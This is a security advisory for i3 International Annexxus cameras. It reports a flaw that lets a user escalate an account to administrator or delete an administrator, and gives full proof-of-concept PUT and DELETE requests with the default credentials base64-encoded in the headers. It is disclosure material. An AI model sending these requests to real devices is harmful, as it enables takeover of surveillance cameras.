i3 International Annexxus Cameras Ax-n 5.2.0 Application Logic Flaw

`  
i3 International Annexxus Cameras Ax-n 5.2.0 Application Logic Flaw  
  
  
Vendor: i3 International Inc.  
Product web page: https://www.i3international.com  
Affected version: V5.2.0 build 150317 (Ax46)  
V5.0.9 build 151106 (Ax68)  
V5.0.9 build 150615 (Ax78)  
  
  
Summary: The Annexxus camera 6MP provides 4 simultaneous,  
independently controlled digital pan-tilt-zoom (ePTZ) video  
streams, which may be recorded or viewed live as well as a  
built-in microphone and speaker allowing two way communication.  
  
Desc: The application doesn't allow creation of more than one  
administrator account on the system. This also applies for  
deletion of the administrative account. The logic behind this  
restriction can be bypassed by parameter manipulation using  
dangerous verbs like PUT and DELETE and improper server-side  
validation. Once a normal account with 'viewer' or 'operator'  
permissions has been added by the default admin user 'i3admin',  
a PUT request can be issued calling the 'UserPermission' endpoint  
with the ID of created account and set it to 'admin' userType,  
successfully adding a second administrative account.  
  
Tested on: App-webs/  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2021-5688  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5688.php  
  
  
27.10.2021  
  
--  
  
  
Make user ID 3 an Administrator:  
--------------------------------  
  
PUT /PSIA/Custom/SelfExt/UserPermission/3 HTTP/1.1  
Host: 192.168.1.1  
Content-Length: 556  
Cache-Control: max-age=0  
Accept: */*  
X-Requested-With: XMLHttpRequest  
If-Modified-Since: 0  
Authorization: Basic aTNhZG1pbjppM2FkbWlu  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36  
Content-Type: application/x-www-form-urlencoded  
Origin: http://192.168.1.1  
Referer: http://192.168.1.1/doc/setup.html  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: i3userInfo80=aTNhZG1pbjppM2FkbWlu; i3userName80=i3admin  
Connection: close  
  
<?xml version='1.0' encoding='utf-8'?><UserPermission><id>3</id><userID>3</userID><userType>admin</userType><remotePermission><playBack>true</playBack><preview>true</preview><record>true</record><ptzControl>true</ptzControl><upgrade>true</upgrade><parameterConfig>true</parameterConfig><restartOrShutdown>true</restartOrShutdown><logOrStateCheck>true</logOrStateCheck><voiceTalk>true</voiceTalk><transParentChannel>true</transParentChannel><contorlLocalOut>true</contorlLocalOut><alarmOutOrUpload>true</alarmOutOrUpload></remotePermission></UserPermission>  
  
  
HTTP/1.1 200 OK  
Date: Wed, 27 Oct 2021 14:13:56 GMT  
Server: App-webs/  
Connection: close  
Content-Length: 238  
Content-Type: application/xml  
  
<?xml version="1.0" encoding="UTF-8"?>  
<ResponseStatus version="1.0" xmlns="urn:psialliance-org">  
<requestURL>/PSIA/Custom/SelfExt/UserPermission/3</requestURL>  
<statusCode>1</statusCode>  
<statusString>OK</statusString>  
</ResponseStatus>  
  
  
  
Delete Administrator user ID 3:  
-------------------------------  
  
DELETE /PSIA/Security/AAA/users/3 HTTP/1.1  
Host: 192.168.1.1  
Cache-Control: max-age=0  
Accept: */*  
X-Requested-With: XMLHttpRequest  
If-Modified-Since: 0  
Authorization: Basic aTNhZG1pbjppM2FkbWlu  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36  
Origin: http://192.168.1.1  
Referer: http://192.168.1.1/doc/setup.html  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: i3userInfo80=aTNhZG1pbjppM2FkbWlu; i3userName80=i3admin  
Connection: close  
  
  
HTTP/1.1 200 OK  
Date: Wed, 27 Oct 2021 14:20:17 GMT  
Server: App-webs/  
Connection: close  
Content-Length: 213  
Content-Type: application/xml  
  
<?xml version="1.0" encoding="UTF-8"?>  
<ResponseStatus version="1.0" xmlns="urn:psialliance-org">  
<requestURL>/PSIA/Security/AAA/users/3</requestURL>  
<statusCode>1</statusCode>  
<statusString>OK</statusString>  
</ResponseStatus>  
`